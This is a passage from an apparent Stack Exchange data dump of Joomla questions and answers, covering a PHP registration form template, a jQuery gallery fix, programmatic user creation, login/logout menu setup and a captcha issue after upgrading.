$this-&amp;gt;form-&amp;gt;getInput('email'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('receipt'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('receipt'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;        &amp;lt;/dl&amp;gt;&#xA;        &amp;lt;dl id=&quot;receiptname-hide&quot;&amp;gt;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('receiptname'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('receiptname'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;        &amp;lt;/dl&amp;gt;&#xA;        &amp;lt;dl&amp;gt;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('nif'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('nif'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('observations'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;Coloque aqui o Titular de Conta&amp;lt;/br&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('observations'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;label id=&quot;jform_select-lbl&quot; for=&quot;jform_select&quot; class=&quot;&quot;&amp;gt;&amp;lt;?php if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'j') echo JText::_('COM_STRBIOMERIEUX_JOURNEYS'); elseif (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'w') echo JText::_('COM_STRBIOMERIEUX_WORKSHOPS'); ?&amp;gt;:&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&#xA;                &amp;lt;fieldset id=&quot;jform_select&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'w') {&#xA;                    $for = $this-&amp;gt;works;&#xA;                } else {&#xA;                    $for = $this-&amp;gt;journeys;&#xA;                }&#xA;                $xxid = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('wid', 0);&#xA;                ?&amp;gt;&#xA;                    &amp;lt;?php foreach ($for as $k =&amp;gt; $v) { ?&amp;gt;&#xA;                    &amp;lt;input type=&quot;checkbox&quot; id=&quot;jform_select&amp;lt;?php echo $k;?&amp;gt;&quot; name=&quot;jform[select][]&quot; value=&quot;&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot; &amp;lt;?php if(($xxid == 0 AND $k == 0) OR ($xxid != 0 AND $xxid == $v-&amp;gt;id)) echo 'checked=&quot;checked&quot;'; ?&amp;gt;/&amp;gt;&amp;lt;label style=&quot;max-width: 370px;&quot; for=&quot;jform_select&amp;lt;?php echo $k;?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $v-&amp;gt;name;?&amp;gt; - &amp;lt;?php if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'j') echo JText::_('COM_STRBIOMERIEUX_JOURNEYS2'); elseif (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'w') echo JText::_('COM_STRBIOMERIEUX_WORKSHOPS2'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; id=&quot;jform_selectname&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot; name=&quot;jform[selectname&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;]&quot; value=&quot;&amp;lt;?php echo $v-&amp;gt;name;?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;?php if($v-&amp;gt;date_event != '0000-00-00' AND $v-&amp;gt;event_canceled != '1') { ?&amp;gt;&#xA;                    &amp;lt;label class=&quot;inline&quot; for=&quot;jform_selectx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot;&amp;gt;&amp;lt;input class=&quot;inline&quot; type=&quot;radio&quot; id=&quot;jform_selectx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot; name=&quot;jform[selectx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;]&quot; value=&quot;Lisboa&quot; checked=&quot;checked&quot; /&amp;gt;Lisboa&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;?php } if($v-&amp;gt;date_event2 != '0000-00-00' AND $v-&amp;gt;event_canceled2 != '1') { ?&amp;gt;&#xA;                    &amp;lt;label class=&quot;inline&quot; for=&quot;jform_selectxx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot;&amp;gt;&amp;lt;input class=&quot;inline&quot; type=&quot;radio&quot; id=&quot;jform_selectxx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot; name=&quot;jform[selectx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;]&quot; value=&quot;Porto&quot; /&amp;gt;Porto&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;hr /&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;/dd&amp;gt;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;/br&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_strbiomerieux&quot; /&amp;gt; &amp;lt;input&#xA;                    type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;register.submit&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;/dd&amp;gt;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;strong&amp;gt;Pagamentos&amp;lt;/strong&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;Nome do Beneficiário:&amp;lt;/dd&amp;gt;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&#xA;            &amp;lt;span style=&quot;display: none;&quot;&amp;gt;&amp;lt;button id=&quot;frmsubmit&quot; type=&quot;submit&quot; class=&quot;validate&quot;&amp;gt;&amp;lt;?php echo JText::_('JSUBMIT'); ?&amp;gt;&amp;lt;/button&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; onclick=&quot;document.getElementById('frmsubmit').click();&quot; class=&quot;button&quot;&amp;gt;&amp;lt;?php echo JText::_('JSUBMIT'); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;&#xA;                &amp;lt;button type=&quot;reset&quot; class=&quot;button&quot;&amp;gt;&amp;lt;?php echo JText::_('JCANCEL'); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;                            &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;                &amp;lt;/dd&amp;gt;&#xA;                &amp;lt;noscript&amp;gt;&#xA;                &amp;lt;dt&amp;gt;Aviso:&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;JavaScript do seu browser está desativado!&amp;lt;br /&amp;gt;O site poderá não funcionar corretamente!&amp;lt;br /&amp;gt;para conseguir fazer o registo ative o Javascript.&amp;lt;/dd&amp;gt;&#xA;                &amp;lt;/noscript&amp;gt;&#xA;        &amp;lt;/dl&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div class=&quot;clr&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have this part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;dt&amp;gt;&amp;lt;label id=&quot;jform_select-lbl&quot; for=&quot;jform_select&quot; class=&quot;&quot;&amp;gt;&amp;lt;?php if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'j') echo JText::_('COM_STRBIOMERIEUX_JOURNEYS'); elseif (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'w') echo JText::_('COM_STRBIOMERIEUX_WORKSHOPS'); ?&amp;gt;:&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;                &amp;lt;dd&amp;gt;&#xA;                    &amp;lt;fieldset id=&quot;jform_select&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'w') {&#xA;                        $for = $this-&amp;gt;works;&#xA;                    } else {&#xA;                        $for = $this-&amp;gt;journeys;&#xA;                    }&#xA;                    $xxid = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('wid', 0);&#xA;                    ?&amp;gt;&#xA;                        &amp;lt;?php foreach ($for as $k =&amp;gt; $v) { ?&amp;gt;&#xA;                        &amp;lt;input type=&quot;checkbox&quot; id=&quot;jform_select&amp;lt;?php echo $k;?&amp;gt;&quot; name=&quot;jform[select][]&quot; value=&quot;&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot; &amp;lt;?php if(($xxid == 0 AND $k == 0) OR ($xxid != 0 AND $xxid == $v-&amp;gt;id)) echo 'checked=&quot;checked&quot;'; ?&amp;gt;/&amp;gt;&amp;lt;label style=&quot;max-width: 370px;&quot; for=&quot;jform_select&amp;lt;?php echo $k;?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $v-&amp;gt;name;?&amp;gt; - &amp;lt;?php if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'j') echo JText::_('COM_STRBIOMERIEUX_JOURNEYS2'); elseif (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'w') echo JText::_('COM_STRBIOMERIEUX_WORKSHOPS2'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input type=&quot;hidden&quot; id=&quot;jform_selectname&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot; name=&quot;jform[selectname&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;]&quot; value=&quot;&amp;lt;?php echo $v-&amp;gt;name;?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;?php if($v-&amp;gt;date_event != '0000-00-00' AND $v-&amp;gt;event_canceled != '1') { ?&amp;gt;&#xA;                        &amp;lt;label class=&quot;inline&quot; for=&quot;jform_selectx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot;&amp;gt;&amp;lt;input class=&quot;inline&quot; type=&quot;radio&quot; id=&quot;jform_selectx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot; name=&quot;jform[selectx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;]&quot; value=&quot;Lisboa&quot; checked=&quot;checked&quot; /&amp;gt;Lisboa&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;?php } if($v-&amp;gt;date_event2 != '0000-00-00' AND $v-&amp;gt;event_canceled2 != '1') { ?&amp;gt;&#xA;                        &amp;lt;label class=&quot;inline&quot; for=&quot;jform_selectxx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot;&amp;gt;&amp;lt;input class=&quot;inline&quot; type=&quot;radio&quot; id=&quot;jform_selectxx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;&quot; name=&quot;jform[selectx&amp;lt;?php echo $v-&amp;gt;id;?&amp;gt;]&quot; value=&quot;Porto&quot; /&amp;gt;Porto&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                        &amp;lt;hr /&amp;gt;&#xA;                        &amp;lt;?php } ?&amp;gt;&#xA;                    &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;/dd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That gives me this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dDEPI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dDEPI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make one of the select fields to be required, even if don't exist any of the items (the form doesn't submit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can make all the fields required (where Micologia and HIV works, but I select the two square boxes), but I only want one to be select, and not two. &lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T14:57:22.407" LastActivityDate="2016-12-04T18:30:35.917" Title="Make one of select fields required in a form" Tags="|jform|form|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16065" PostTypeId="1" AcceptedAnswerId="16066" CreationDate="2016-04-08T10:02:36.863" Score="2" ViewCount="181" Body="&lt;p&gt;On my Joomla site, I am using a jQuery gallery, where there are 2 instances of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that upon hovering on a thumbnail to show as the main image, it shows that image on both galleries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;    jQuery(&quot;.cars-img img&quot;).attr(&quot;src&quot;, jQuery(&quot;.img-log img&quot;).eq(0).attr(&quot;src&quot;));&#xA;    jQuery(&quot;.img-log img&quot;).eq(0).attr(&quot;class&quot;, &quot;active&quot;);&#xA;    jQuery(&quot;.img-log img&quot;).hover(function(){&#xA;        jQuery(&quot;.cars-img img&quot;).attr(&quot;src&quot;, jQuery(this).attr('src'));&#xA;        jQuery(&quot;.img-log img&quot;).removeAttr(&quot;class&quot;, &quot;active&quot;);&#xA;        jQuery(this).attr('class', 'active');&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;cars-img&quot;&amp;gt;                  &#xA;    &amp;lt;img src=&quot;big image link&quot; alt=&quot;&quot;/&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;img-smol&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;img-log&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;small image link&quot; alt=&quot;&quot;/&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I prevent this from happening? &lt;/p&gt;&#xA;" OwnerUserId="8198" LastEditorUserId="168" LastEditDate="2016-04-08T10:56:37.470" LastActivityDate="2016-04-08T10:56:37.470" Title="jquery mini slider, generate unique id" Tags="|php|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16066" PostTypeId="2" ParentId="16065" CreationDate="2016-04-08T10:15:59.913" Score="2" Body="&lt;p&gt;This is because both sliders are using the same classes. I'd suggest that on hover, you find the outer parent first, then target the image, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;&#xA;    var container = $('.carmrg');&#xA;    var first     = container.find('.img-log img').eq(0);&#xA;&#xA;    container.find('.cars-img img').attr('src', first.attr('src'));&#xA;    first.addClass('active');&#xA;&#xA;    $('.img-log img').hover(function(){&#xA;&#xA;        var $self  = $(this);&#xA;        var parent = $self.parents('.carmrg');&#xA;&#xA;        parent.find('.cars-img img').attr('src', $self.attr('src'));&#xA;        parent.find('.img-log img').removeClass('active');&#xA;        $self.addClass('active');&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, I've made a few small tweaks and haven't tested this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also appear to be using the code you showed in your question twice. Remove both instances and replace with what I've given you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know the result.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-04-08T10:46:05.763" LastActivityDate="2016-04-08T10:46:05.763" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="16067" PostTypeId="2" ParentId="14615" CreationDate="2016-04-08T13:42:54.457" Score="1" Body="&lt;p&gt;Many times this can be due to the Joomla Authentication plugin being disabled.  To fix it you can log in to your PHPMyAdmin from your cpanel or other hosting control panel then you want to locate the #_extensions table where you'll find the field for the plg_joomla_authentication.  Set the the value to 1.&lt;/p&gt;&#xA;" OwnerUserId="8130" LastActivityDate="2016-04-08T13:42:54.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16068" PostTypeId="2" ParentId="16051" CreationDate="2016-04-08T13:48:11.587" Score="3" Body="&lt;p&gt;I also got this error when the $replyTo variable was empty and had to use       &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !empty($replyTo) ) {&#xA;  $mailer-&amp;gt;addReplyTo($replyTo, $replyToName);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8201" LastActivityDate="2016-04-08T13:48:11.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16069" PostTypeId="1" AcceptedAnswerId="16071" CreationDate="2016-04-08T15:06:42.300" Score="1" ViewCount="69" Body="&lt;p&gt;How do I show Joomla 3.4.8 banners as a slide, by taking into consideration the categories of the banners?&lt;/p&gt;&#xA;" OwnerUserId="7664" LastEditorUserId="3650" LastEditDate="2016-04-08T15:27:12.567" LastActivityDate="2016-04-08T16:17:06.343" Title="How to show Joomla 3.4.8 banners as a slide" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16071" PostTypeId="2" ParentId="16069" CreationDate="2016-04-08T16:17:06.343" Score="1" Body="&lt;p&gt;In reference to the comments, the OP has solved the issue by choosing the following extensions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/ads-a-affiliates/banner-management/carousel-banner&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/ads-a-affiliates/banner-management/carousel-banner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to cater for their needs.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-08T16:17:06.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16074" PostTypeId="1" CreationDate="2016-04-08T18:27:04.703" Score="0" ViewCount="164" Body="&lt;p&gt;I run a fantasy football website.   My League Registration is handled through a form and mysql database.  This all works well.   Once I hire a manager, I want to create a Joomla user for the user.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 'Hire Manager' module that I've created.  In that module, you select the waiting list person, then it checks if there is an existing email address in Joomla for that user.  Again, all of this works fine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within that 'Hire Manager' module, I have an event that will gather the Waiting List information.  There is an 'on change/blur' even that fires.  This will check for the existence of a user through an Ajax call (and this works).  On Success, I want it to create a Joomla user.   I've found code that will create the user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$JRoot = $_SERVER['DOCUMENT_ROOT'] . &quot;/*joomla_root_folder*/&quot;; &#xA;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', $JRoot );&#xA;define('JPATH_ROOT', $JRoot );&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;&#xA;$defines = $JRoot . &quot;/includes/defines.php&quot;;&#xA;$framework = $JRoot . &quot;/includes/framework.php&quot;;&#xA;require_once ($defines);&#xA;require_once ($framework);&#xA;&#xA;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;    jimport( 'joomla.user.helper');&#xA;    $data = array(&#xA;        &quot;name&quot;=&amp;gt;$_POST['name'],&#xA;        &quot;username&quot;=&amp;gt;$_POST['username'],&#xA;        &quot;password&quot;=&amp;gt;$_POST['password'],&#xA;        &quot;password2&quot;=&amp;gt;$_POST['password'],&#xA;        &quot;email&quot;=&amp;gt;$_POST['email'],&#xA;        &quot;block&quot;=&amp;gt;0,&#xA;        &quot;groups&quot;=&amp;gt;array (&quot;1&quot; ,&quot;2&quot;, &quot;3&quot; )&#xA;        );&#xA;&#xA;    $user = new JUser;&#xA;    if(!$user-&amp;gt;bind($data)) {&#xA;        throw new Exception(&quot;Could not bind data. Error: &quot; . $user-&amp;gt;getError());&#xA;}&#xA;if (!$user-&amp;gt;save()) {&#xA;    throw new Exception(&quot;Could not save user. Error: &quot; . $user-&amp;gt;getError());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this fails during the execution with Class 'JFile' not found...  This error usually occurs in my code if there is an issue with the sql statement in a PDO call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested to assure the $_POST variables here are valid.&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-11-04T23:06:49.443" Title="Using jimport in ajax php file" Tags="|joomla-3.x|php|mysql|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16075" PostTypeId="2" ParentId="16023" CreationDate="2016-04-08T18:37:26.853" Score="11" Body="&lt;p&gt;The Good Folks at OSTraining just published this nice &lt;a href=&quot;https://www.ostraining.com/blog/joomla/login-and-logout/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step #1. Create the Login link&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to Menus &gt; your menu &gt; Add New Menu Item&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nOWXT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nOWXT.png&quot; alt=&quot;Create the Login link&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enter a Menu Title.&lt;/li&gt;&#xA;&lt;li&gt;Select the Menu Item Type.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p3t9K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p3t9K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Choose Users &gt; Login Form.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YMp9h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YMp9h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &quot;Access&quot; to &quot;Guest&quot;&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Save &amp;amp; New&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Guest access will make it so that it only appears to non-logged-in users. If for some reason your site doesn't have Guest access, you can use &lt;a href=&quot;https://www.ostraining.com/blog/joomla/hiding-content-from-logged-in-users/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N6Qqe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N6Qqe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step #2. Create the Logout link&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Next, let's create the Logout link.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a new menu item.&lt;/li&gt;&#xA;&lt;li&gt;Enter a Menu Title.&lt;/li&gt;&#xA;&lt;li&gt;Select the Menu Item Type.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mmVSM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mmVSM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Choose Users &gt; Logout.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This feature was added in Joomla 3.5. So if you don't have this option, you'd need to update to Joomla 3.5 or later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A4NKa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A4NKa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switch &quot;Access&quot; to &quot;Registered&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Save &amp;amp; Close&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/532dX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/532dX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step #3. Test the links&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Finally, let's test to make sure we got everything right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some things to check for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does the &quot;Login&quot; appear when logged out?&lt;/li&gt;&#xA;&lt;li&gt;Does the &quot;Logout&quot; appear when logged in? Does it appear when logged&#xA;in with another account of a different access level? If not, you may&#xA;need to adjust the Access Control. We have a class on that at&#xA;&lt;a href=&quot;https://www.ostraining.com/class/acm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's Access Control Levels&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's all there is to it. Congrats! Joomla 3.5 and higher makes it really easy to set up.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As always, thanx to OSTraining for best Joomla Tutorials out there.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-08-11T13:27:12.020" LastActivityDate="2016-08-11T13:27:12.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16076" PostTypeId="2" ParentId="16074" CreationDate="2016-04-08T18:52:59.180" Score="1" Body="&lt;p&gt;I figured out the issue.   The problem was that I was calling the event on change AND on blur.  So it ran correctly on change (and created the record), but when it tried to run again on blur - it would fail because the record already existing for that email address and email address is a unique field.  DOPE !!&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-04-08T18:52:59.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16078" PostTypeId="1" AcceptedAnswerId="16079" CreationDate="2016-04-08T20:11:40.763" Score="3" ViewCount="1770" Body="&lt;p&gt;After upgrading to Joomla 3.5, &lt;strong&gt;my site / extension / custom form captcha stopped working&lt;/strong&gt;. It does not show up, and no errors are generated anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened?&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2020-12-08T08:23:56.223" Title="My Captcha stopped working after upgrading to Joomla 3.5" Tags="|upgrade|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
